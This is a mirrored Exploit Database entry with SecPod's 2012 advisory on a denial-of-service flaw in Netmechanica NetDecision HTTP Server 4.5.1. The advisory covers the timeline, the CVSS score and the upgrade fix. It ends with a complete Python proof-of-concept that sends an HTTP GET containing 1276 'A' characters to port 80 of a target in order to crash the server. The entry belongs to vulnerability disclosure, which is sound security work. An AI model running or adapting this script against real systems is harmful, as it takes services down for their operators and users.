Netmechanica NetDecision HTTP Server – Denial of Service

• Exploit Database
• 11 阅读

• 作者： SecPod Research
  日期： 2012-02-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18541/

• ##############################################################################
  #
  # Title: Netmechanica NetDecision HTTP Server Denial Of Service
  #Vulnerability
  # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
  # Vendor : http://www.netmechanica.com
  # Advisory : http://secpod.org/blog/?p=484
  #http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
  #	 http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
  # Software : Netmechanica NetDecision HTTP Server version 4.5.1
  # Date : 05/12/2011
  #
  ###############################################################################
  
  SecPod ID: 1040 				05/12/2011 Issue Discovered
  						21/02/2012 Vendor Notified
  						22/02/2012 Vendor Acknowledge
  						24/02/2012 Issue Resolved
  
  
  Class: Denial Of Service			Severity: Medium
  
  
  Overview:
  ---------
  Netmechanica NetDecision HTTP Server version 4.5.1 is prone to a denial of 
  service vulnerability.
  
  
  Technical Description:
  ----------------------
  The vulnerability is caused due to improper validation of long malicious HTTP
  request to web server, which allows remote attackers to crash the service.
  
  
  Impact:
  --------
  Successful exploitation could allow an attacker to cause denial of service 
  condition.
  
  
  Affected Software:
  ------------------
  Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
  4.5.1
  
  
  Tested on:
  -----------
  Netmechanica NetDecision 4.5.1 (full package) containing HTTP Server version
  4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected.
  Older versions might be affected.
  
  
  References:
  -----------
  http://secpod.org/blog/?p=484
  http://www.netmechanica.com/downloads
  http://www.netmechanica.com/news/?news_id=26
  
  
  Proof of Concept:
  ----------------
  http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
  
  
  Vendor URL:
  ----------------
  http://www.netmechanica.com
  http://www.netmechanica.com/news/?news_id=26
  
  
  Solution:
  ----------
  Upgrade to NetDecision 4.6.1
  
  
  Risk Factor:
  -------------
  CVSS Score Report:
  ACCESS_VECTOR= NETWORK
  ACCESS_COMPLEXITY= LOW
  AUTHENTICATION = NOT_REQUIRED
  CONFIDENTIALITY_IMPACT = NONE
  INTEGRITY_IMPACT = NONE
  AVAILABILITY_IMPACT= PARTIAL
  EXPLOITABILITY = PROOF_OF_CONCEPT
  REMEDIATION_LEVEL= UNAVAILABLE
  REPORT_CONFIDENCE= CONFIRMED
  CVSS Base Score= 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
  Risk factor= Medium
  
  
  Credits:
  --------
  Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
  vulnerability.
  
  
  #!/usr/bin/python
  ##############################################################################
  #
  # Title: Netmechanica NetDecision HTTP Server Denial Of Service
  #Vulnerability
  # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
  # Vendor : http://www.netmechanica.com
  # Advisory : http://secpod.org/blog/?p=484
  #http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt
  #	 http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py
  # Software : Netmechanica NetDecision HTTP Server version 4.5.1
  # Date : 05/12/2011
  #
  ###############################################################################
  
  import socket,sys,time
  
  
  if len(sys.argv) < 2:
  print "\t[-] Usage: python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py target_ip"
  print "\t[-] Example : python SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_PoC.py 127.0.0.1"
  print "\t[-] Exiting..."
  sys.exit(0)
  
  port = 80
  target = sys.argv[1]
  
  try:
  socket.inet_aton(target)
  except socket.error:
  print "Invalid IP address found ..."
  sys.exit(1)
  
  try:
  sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  sock.connect((target,port))
  except:
  print "socket() failed: Server is not running"
  sys.exit(1)
  
  exploit = "GET "+ "A"*1276 + "\r\n" + "\r\n"
  
  print "HTTP GET request with long filename triggers the vulnerability"
  data = exploit
  sock.sendto(data, (target, port))
  time.sleep(5)
  print "[+] Please verify the server daemon port, it must be down...."